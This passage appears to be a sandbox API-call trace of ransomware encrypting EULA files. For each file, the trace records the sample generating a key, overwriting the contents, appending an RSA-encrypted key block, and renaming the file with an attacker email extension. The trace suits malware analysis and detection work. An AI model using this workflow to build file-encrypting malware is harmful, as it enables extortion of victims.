dwFlags=0x0, lpMem=0x5d0ca0 | out: hHeap=0x570000) returned 1 [0156.585] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5ccbe8 | out: hHeap=0x570000) returned 1 [0156.585] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x6538e0 | out: hHeap=0x570000) returned 1 [0156.585] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x654330 | out: hHeap=0x570000) returned 1 [0156.585] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x70) returned 0x6538e0 [0156.585] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x5ccbe8 [0156.585] CryptGenRandom (in: hProv=0x5b7388, dwLen=0x20, pbBuffer=0x45b234 | out: pbBuffer=0x45b234) returned 1 [0156.585] SetFileAttributesW (lpFileName="\\Windows10Upgrade\\resources\\ux\\EULA\\EULA_zh-hk.htm", dwFileAttributes=0x80) returned 1 [0156.585] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x70) returned 0x654330 [0156.585] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xc0) returned 0x5d0980 [0156.585] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x654330 | out: hHeap=0x570000) returned 1 [0156.585] CreateFileW (lpFileName="\\Windows10Upgrade\\resources\\ux\\EULA\\EULA_zh-hk.htm" (normalized: "c:\\windows10upgrade\\resources\\ux\\eula\\eula_zh-hk.htm"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x6e8 [0156.586] GetFileSizeEx (in: hFile=0x6e8, lpFileSize=0x2e3f9b8 | out: lpFileSize=0x2e3f9b8*=147140) returned 1 [0156.586] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x23ec4) returned 0x2e60f28 [0156.586] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x23ec4) returned 0x2e84df8 [0156.586] ReadFile (in: hFile=0x6e8, lpBuffer=0x2e60f28, nNumberOfBytesToRead=0x23ec4, lpNumberOfBytesRead=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x2e60f28*, lpNumberOfBytesRead=0x2e3f9b4*=0x23ec4, lpOverlapped=0x0) returned 1 [0156.601] SetFilePointer (in: hFile=0x6e8, lDistanceToMove=-147140, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0156.601] WriteFile (in: hFile=0x6e8, lpBuffer=0x2e84df8*, nNumberOfBytesToWrite=0x23ec4, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x2e84df8*, lpNumberOfBytesWritten=0x2e3f9b4*=0x23ec4, lpOverlapped=0x0) returned 1 [0156.601] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x2e60f28 | out: hHeap=0x570000) returned 1 [0156.601] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x2e84df8 | out: hHeap=0x570000) returned 1 [0156.602] SetFilePointer (in: hFile=0x6e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e3f9bc*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e3f9bc*=0) returned 0x23ec4 [0156.602] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0156.602] WriteFile (in: hFile=0x6e8, lpBuffer=0x4452cc*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452cc*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0156.602] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x100) returned 1 [0156.602] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x20, dwBufLen=0x100 | out: pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x100) returned 1 [0156.603] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x0, pcchString=0x2e3f9a8 | out: pszString=0x0, pcchString=0x2e3f9a8) returned 1 [0156.603] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x2be) returned 0x5c1ce8 [0156.603] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x5c1ce8, pcchString=0x2e3f9a8 | out: pszString="9KtY2nLp9E+dT40jjcQENoMTFeAgrdRae2B0U7p2aaEsW4UmbJOjJaJ8k+mf+NFP\nX5nUnLg5SjbWgzakG4cKliN5Qo3bi6Aak9MZgHqk3E+K+M5sqJxF7kak5NOCtzFs\nA8qPGoGymWObHE8J4EbLu7Opq9oI338seLkS5z4FQNJCSGXjEVzB57dSmaK+ZzIT\n73W7CRhgRL93Yj+bDthyJzT6txLz9IC2R9vdagqwpYdSNzm1XJOoixPTcYse2Les\n7PwFa5M0S1fPEkh7cvNlZSjFNDCQHZJvmHvOEWMIYLjoioAFZ388546s5okh8bDo\nn/xfiHoKXP0CIzlpaIzkow==\n", pcchString=0x2e3f9a8) returned 1 [0156.603] WriteFile (in: hFile=0x6e8, lpBuffer=0x5c1ce8*, nNumberOfBytesToWrite=0x15e, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5c1ce8*, lpNumberOfBytesWritten=0x2e3f9b4*=0x15e, lpOverlapped=0x0) returned 1 [0156.603] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0156.603] WriteFile (in: hFile=0x6e8, lpBuffer=0x4452e4*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452e4*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0156.603] CloseHandle (hObject=0x6e8) returned 1 [0156.603] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c1ce8 | out: hHeap=0x570000) returned 1 [0156.603] MoveFileExW (lpExistingFileName="\\Windows10Upgrade\\resources\\ux\\EULA\\EULA_zh-hk.htm" (normalized: "c:\\windows10upgrade\\resources\\ux\\eula\\eula_zh-hk.htm"), lpNewFileName="\\Windows10Upgrade\\resources\\ux\\EULA\\EULA_zh-hk.htm.1506877342345.bmps@tutanota.com.major" (normalized: "c:\\windows10upgrade\\resources\\ux\\eula\\eula_zh-hk.htm.1506877342345.bmps@tutanota.com.major"), dwFlags=0x8) returned 1 [0156.606] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5d0980 | out: hHeap=0x570000) returned 1 [0156.606] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5ccbe8 | out: hHeap=0x570000) returned 1 [0156.606] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x6538e0 | out: hHeap=0x570000) returned 1 [0156.606] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x654768 | out: hHeap=0x570000) returned 1 [0156.606] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x70) returned 0x654768 [0156.606] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x5ccbe8 [0156.606] CryptGenRandom (in: hProv=0x5b7388, dwLen=0x20, pbBuffer=0x45b234 | out: pbBuffer=0x45b234) returned 1 [0156.606] SetFileAttributesW (lpFileName="\\Windows10Upgrade\\resources\\ux\\EULA\\EULA_zh-cn.htm", dwFileAttributes=0x80) returned 1 [0156.607] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x70) returned 0x654330 [0156.607] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xc0) returned 0x5d0b10 [0156.607] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x654330 | out: hHeap=0x570000) returned 1 [0156.607] CreateFileW (lpFileName="\\Windows10Upgrade\\resources\\ux\\EULA\\EULA_zh-cn.htm" (normalized: "c:\\windows10upgrade\\resources\\ux\\eula\\eula_zh-cn.htm"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x6e8 [0156.607] GetFileSizeEx (in: hFile=0x6e8, lpFileSize=0x2e3f9b8 | out: lpFileSize=0x2e3f9b8*=126241) returned 1 [0156.607] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x1ed21) returned 0x2e60f28 [0156.608] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x1ed21) returned 0x2e7fc58 [0156.608] ReadFile (in: hFile=0x6e8, lpBuffer=0x2e60f28, nNumberOfBytesToRead=0x1ed21, lpNumberOfBytesRead=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x2e60f28*, lpNumberOfBytesRead=0x2e3f9b4*=0x1ed21, lpOverlapped=0x0) returned 1 [0156.639] SetFilePointer (in: hFile=0x6e8, lDistanceToMove=-126241, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0156.639] WriteFile (in: hFile=0x6e8, lpBuffer=0x2e7fc58*, nNumberOfBytesToWrite=0x1ed21, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x2e7fc58*, lpNumberOfBytesWritten=0x2e3f9b4*=0x1ed21, lpOverlapped=0x0) returned 1 [0156.639] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x2e60f28 | out: hHeap=0x570000) returned 1 [0156.639] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x2e7fc58 | out: hHeap=0x570000) returned 1 [0156.640] SetFilePointer (in: hFile=0x6e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e3f9bc*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e3f9bc*=0) returned 0x1ed21 [0156.640] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0156.640] WriteFile (in: hFile=0x6e8, lpBuffer=0x4452cc*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452cc*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0156.640] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x100) returned 1 [0156.640] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x20, dwBufLen=0x100 | out: pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x100) returned 1 [0156.641] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x0, pcchString=0x2e3f9a8 | out: pszString=0x0, pcchString=0x2e3f9a8) returned 1 [0156.641] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x2be) returned 0x5c1ce8 [0156.641] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x5c1ce8, pcchString=0x2e3f9a8 | out: pszString="5zvhZnzmFdnChX2l0kmrIuX2ibpc4IEMy0yJ0Lo99IJKZBucyC0AC2FiO0CsG2tk\n6wFP/HbG2VxNXN6mZDPUtd10FUWjo48BSZe7vJ1hPareisNdcVVeTh87XwNoKkzH\nVqxMbxwnuTm1vZwyItFwM5hpL1G31MgoKVcdRvsXtf+ztwGcuVUsYccfZ8qsILd+\n8c6XCVOqy32OtNLAdjnftc8TiaFg0ZMnEotC22LZn6paAZyHo+rIdQDuDCgmtDFJ\nu5L6+081tPARrHvSeg7xHC5RmzSrXBs/RH9850cDc/6VZjrjalmipOax/ldVvEq6\n5L8H5nLvD2USqKahbNqWTw==\n", pcchString=0x2e3f9a8) returned 1 [0156.641] WriteFile (in: hFile=0x6e8, lpBuffer=0x5c1ce8*, nNumberOfBytesToWrite=0x15e, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5c1ce8*, lpNumberOfBytesWritten=0x2e3f9b4*=0x15e, lpOverlapped=0x0) returned 1 [0156.641] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0156.641] WriteFile (in: hFile=0x6e8, lpBuffer=0x4452e4*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452e4*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0156.641] CloseHandle (hObject=0x6e8) returned 1 [0156.641] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c1ce8 | out: hHeap=0x570000) returned 1 [0156.641] MoveFileExW (lpExistingFileName="\\Windows10Upgrade\\resources\\ux\\EULA\\EULA_zh-cn.htm" (normalized: "c:\\windows10upgrade\\resources\\ux\\eula\\eula_zh-cn.htm"), lpNewFileName="\\Windows10Upgrade\\resources\\ux\\EULA\\EULA_zh-cn.htm.1506877342345.bmps@tutanota.com.major" (normalized: "c:\\windows10upgrade\\resources\\ux\\eula\\eula_zh-cn.htm.1506877342345.bmps@tutanota.com.major"), dwFlags=0x8) returned 1 [0156.643] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5d0b10 | out: hHeap=0x570000) returned 1 [0156.643] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5ccbe8 | out: hHeap=0x570000) returned 1 [0156.643] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x654768 | out: hHeap=0x570000) returned 1 [0156.643] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x6546f0 | out: hHeap=0x570000) returned 1 [0156.643] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x70) returned 0x654330 [0156.643] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x5cc828 [0156.643] CryptGenRandom (in: hProv=0x5b7388, dwLen=0x20, pbBuffer=0x45b234 | out: pbBuffer=0x45b234) returned 1 [0156.643] SetFileAttributesW (lpFileName="\\Windows10Upgrade\\resources\\ux\\EULA\\EULA_uk-ua.htm", dwFileAttributes=0x80) returned 1 [0156.644] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x70) returned 0x6546f0 [0156.644] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xc0) returned 0x5d07f0 [0156.644] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x6546f0 | out: hHeap=0x570000) returned 1 [0156.644] CreateFileW (lpFileName="\\Windows10Upgrade\\resources\\ux\\EULA\\EULA_uk-ua.htm" (normalized: "c:\\windows10upgrade\\resources\\ux\\eula\\eula_uk-ua.htm"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x6e8 [0156.644] GetFileSizeEx (in: hFile=0x6e8, lpFileSize=0x2e3f9b8 | out: lpFileSize=0x2e3f9b8*=266731) returned 1 [0156.644] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x411eb) returned 0x2e60f28 [0156.644] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x411eb) returned 0x2ea2120 [0156.644] ReadFile (in: hFile=0x6e8, lpBuffer=0x2e60f28, nNumberOfBytesToRead=0x411eb, lpNumberOfBytesRead=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x2e60f28*, lpNumberOfBytesRead=0x2e3f9b4*=0x411eb, lpOverlapped=0x0) returned 1 [0156.673] SetFilePointer (in: hFile=0x6e8, lDistanceToMove=-266731, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0156.673] WriteFile (in: hFile=0x6e8, lpBuffer=0x2ea2120*, nNumberOfBytesToWrite=0x411eb, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x2ea2120*, lpNumberOfBytesWritten=0x2e3f9b4*=0x411eb, lpOverlapped=0x0) returned 1 [0156.673] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x2e60f28 | out: hHeap=0x570000) returned 1 [0156.674] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x2ea2120 | out: hHeap=0x570000) returned 1 [0156.674] SetFilePointer (in: hFile=0x6e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e3f9bc*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e3f9bc*=0) returned 0x411eb [0156.674] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0156.674] WriteFile (in: hFile=0x6e8, lpBuffer=0x4452cc*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452cc*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0156.675] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x100) returned 1 [0156.675] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x20, dwBufLen=0x100 | out: pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x100) returned 1 [0156.675] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x0, pcchString=0x2e3f9a8 | out: pszString=0x0, pcchString=0x2e3f9a8) returned 1 [0156.675] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x2be) returned 0x5c1ce8 [0156.675] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x5c1ce8, pcchString=0x2e3f9a8 | out: pszString="d0X6QsHs9x3Cea22EqLVvYy5jZUSs4b0LfMyRhWvmx2f30muEwvJkxdGXE5dOE7i\nwzn1kFBmih7/yGH7/gCu/itlHBESUFCQDvvOcM4r3040Qm6jvZFwwYOWHSXEQVdO\n1uLu1PTvWaAE5kgzzlRtvHeGXhCxua1aIf9MTRVJnKXnWdcWn2pihwf8L/3kxmNt\n0IhNyuEZcFg7Z4CjOLJgBx3u/BgfuMiZXVDadrQCCco3l2nfH6+llpiay0lCW+Be\nLnk/ikFCikhM6g53Rth3Gpra6sfuUj6jE+nmoHnLgmszbC+M9HUDha0i8iOytanU\nuL5GFplnG1DS/wjt0/rYng==\n", pcchString=0x2e3f9a8) returned 1 [0156.675] WriteFile (in: hFile=0x6e8, lpBuffer=0x5c1ce8*, nNumberOfBytesToWrite=0x15e, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5c1ce8*, lpNumberOfBytesWritten=0x2e3f9b4*=0x15e, lpOverlapped=0x0) returned 1 [0156.675] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0156.675] WriteFile (in: hFile=0x6e8, lpBuffer=0x4452e4*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452e4*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0156.675] CloseHandle (hObject=0x6e8) returned 1 [0156.676] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c1ce8 | out: hHeap=0x570000) returned 1 [0156.676] MoveFileExW (lpExistingFileName="\\Windows10Upgrade\\resources\\ux\\EULA\\EULA_uk-ua.htm" (normalized: "c:\\windows10upgrade\\resources\\ux\\eula\\eula_uk-ua.htm"), lpNewFileName="\\Windows10Upgrade\\resources\\ux\\EULA\\EULA_uk-ua.htm.1506877342345.bmps@tutanota.com.major" (normalized: "c:\\windows10upgrade\\resources\\ux\\eula\\eula_uk-ua.htm.1506877342345.bmps@tutanota.com.major"), dwFlags=0x8) returned 1 [0156.677] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5d07f0 | out: hHeap=0x570000) returned 1 [0156.678] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5cc828 | out: hHeap=0x570000) returned 1 [0156.678] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x654330 | out: hHeap=0x570000) returned 1 [0156.678] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x653ac0 | out: hHeap=0x570000) returned 1 [0156.678] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x70) returned 0x654330 [0156.678] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x5cc968 [0156.678] CryptGenRandom (in: hProv=0x5b7388, dwLen=0x20, pbBuffer=0x45b234 | out: pbBuffer=0x45b234) returned 1 [0156.678] SetFileAttributesW (lpFileName="\\Windows10Upgrade\\resources\\ux\\EULA\\EULA_tr-tr.htm", dwFileAttributes=0x80) returned 1 [0156.679] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x70) returned 0x6546f0 [0156.679] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xc0) returned 0x5d0ca0 [0156.679] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x6546f0 | out: hHeap=0x570000) returned 1 [0156.679] CreateFileW (lpFileName="\\Windows10Upgrade\\resources\\ux\\EULA\\EULA_tr-tr.htm" (normalized: "c:\\windows10upgrade\\resources\\ux\\eula\\eula_tr-tr.htm"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x6e8 [0156.679] GetFileSizeEx (in: hFile=0x6e8, lpFileSize=0x2e3f9b8 | out: lpFileSize=0x2e3f9b8*=75137) returned 1 [0156.679] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x12581) returned 0x6548b8 [0156.679] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x12581) returned 0x2e60f28 [0156.679] ReadFile (in: hFile=0x6e8, lpBuffer=0x6548b8, nNumberOfBytesToRead=0x12581, lpNumberOfBytesRead=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x6548b8*, lpNumberOfBytesRead=0x2e3f9b4*=0x12581, lpOverlapped=0x0) returned 1 [0156.692] SetFilePointer (in: hFile=0x6e8, lDistanceToMove=-75137, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0156.692] WriteFile (in: hFile=0x6e8, lpBuffer=0x2e60f28*, nNumberOfBytesToWrite=0x12581, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x2e60f28*, lpNumberOfBytesWritten=0x2e3f9b4*=0x12581, lpOverlapped=0x0) returned 1 [0156.693] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x6548b8 | out: hHeap=0x570000) returned 1 [0156.693] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x2e60f28 | out: hHeap=0x570000) returned 1 [0156.693] SetFilePointer (in: hFile=0x6e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e3f9bc*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e3f9bc*=0) returned 0x12581 [0156.693] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0156.693] WriteFile (in: hFile=0x6e8, lpBuffer=0x4452cc*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452cc*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0156.693] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x100) returned 1 [0156.693] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x20, dwBufLen=0x100 | out: pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x100) returned 1 [0156.693] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x0, pcchString=0x2e3f9a8 | out: pszString=0x0, pcchString=0x2e3f9a8) returned 1 [0156.693] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x2be) returned 0x5c1ce8 [0156.693] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x5c1ce8, pcchString=0x2e3f9a8 | out: pszString="pRlx3YawaSoxCiNgp8bUNP9ek3ql2i/lmdCsb6ryNxasGoNqdIH3DH71S63EIwZm\nvgKWKWFoAdDV2N1Bb60gKvlyqEqMgqoqSLBkX32Zn3jvdeFlO4koI7bpRZuO8Nfz\n4a/r966hk/UfbLQ4eWI/GjnRHy3J1BmL12ArTmKPbL8iP2T+Aik3RXSblzp2KopX\nBVRWNGLspIMBRCz7ZxG/1r3iYRJJvxcss+enQBrAL2yMSDnim2Lh+BbGmJifkLJI\nQ2WRDn82tDbtZwYZjqbr4N/NQd9NzKQgv4b4gA42o13yRRip6tHB05mHjyf8FtRX\n4Bw3iHLxi8T8vc4B4sM3jQ==\n", pcchString=0x2e3f9a8) returned 1 [0156.693] WriteFile (in: hFile=0x6e8, lpBuffer=0x5c1ce8*, nNumberOfBytesToWrite=0x15e, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5c1ce8*, lpNumberOfBytesWritten=0x2e3f9b4*=0x15e, lpOverlapped=0x0) returned 1 [0156.693] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0156.694] WriteFile (in: hFile=0x6e8, lpBuffer=0x4452e4*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452e4*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0156.694] CloseHandle (hObject=0x6e8) returned 1 [0156.694] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c1ce8 | out: hHeap=0x570000) returned 1 [0156.694] MoveFileExW (lpExistingFileName="\\Windows10Upgrade\\resources\\ux\\EULA\\EULA_tr-tr.htm" (normalized: "c:\\windows10upgrade\\resources\\ux\\eula\\eula_tr-tr.htm"), lpNewFileName="\\Windows10Upgrade\\resources\\ux\\EULA\\EULA_tr-tr.htm.1506877342345.bmps@tutanota.com.major" (normalized: "c:\\windows10upgrade\\resources\\ux\\eula\\eula_tr-tr.htm.1506877342345.bmps@tutanota.com.major"), dwFlags=0x8) returned 1 [0156.695] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5d0ca0 | out: hHeap=0x570000) returned 1 [0156.695] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5cc968 | out: hHeap=0x570000) returned 1 [0156.695] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x654330 | out: hHeap=0x570000) returned 1 [0156.695] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x654678 | out: hHeap=0x570000) returned 1 [0156.695] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x70) returned 0x654330 [0156.695] CryptGenRandom (in: hProv=0x5b7388, dwLen=0x20, pbBuffer=0x45b234 | out: pbBuffer=0x45b234) returned 1 [0156.695] SetFileAttributesW (lpFileName="\\Windows10Upgrade\\resources\\ux\\EULA\\EULA_th-th.htm", dwFileAttributes=0x80) returned 1 [0156.696] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x654678 | out: hHeap=0x570000) returned 1 [0156.696] CreateFileW (lpFileName="\\Windows10Upgrade\\resources\\ux\\EULA\\EULA_th-th.htm" (normalized: "c:\\windows10upgrade\\resources\\ux\\eula\\eula_th-th.htm"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x6e8 [0156.696] GetFileSizeEx (in: hFile=0x6e8, lpFileSize=0x2e3f9b8 | out: lpFileSize=0x2e3f9b8*=254145) returned 1 [0156.696] ReadFile (in: hFile=0x6e8, lpBuffer=0x2e60f28, nNumberOfBytesToRead=0x3e0c1, lpNumberOfBytesRead=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x2e60f28*, 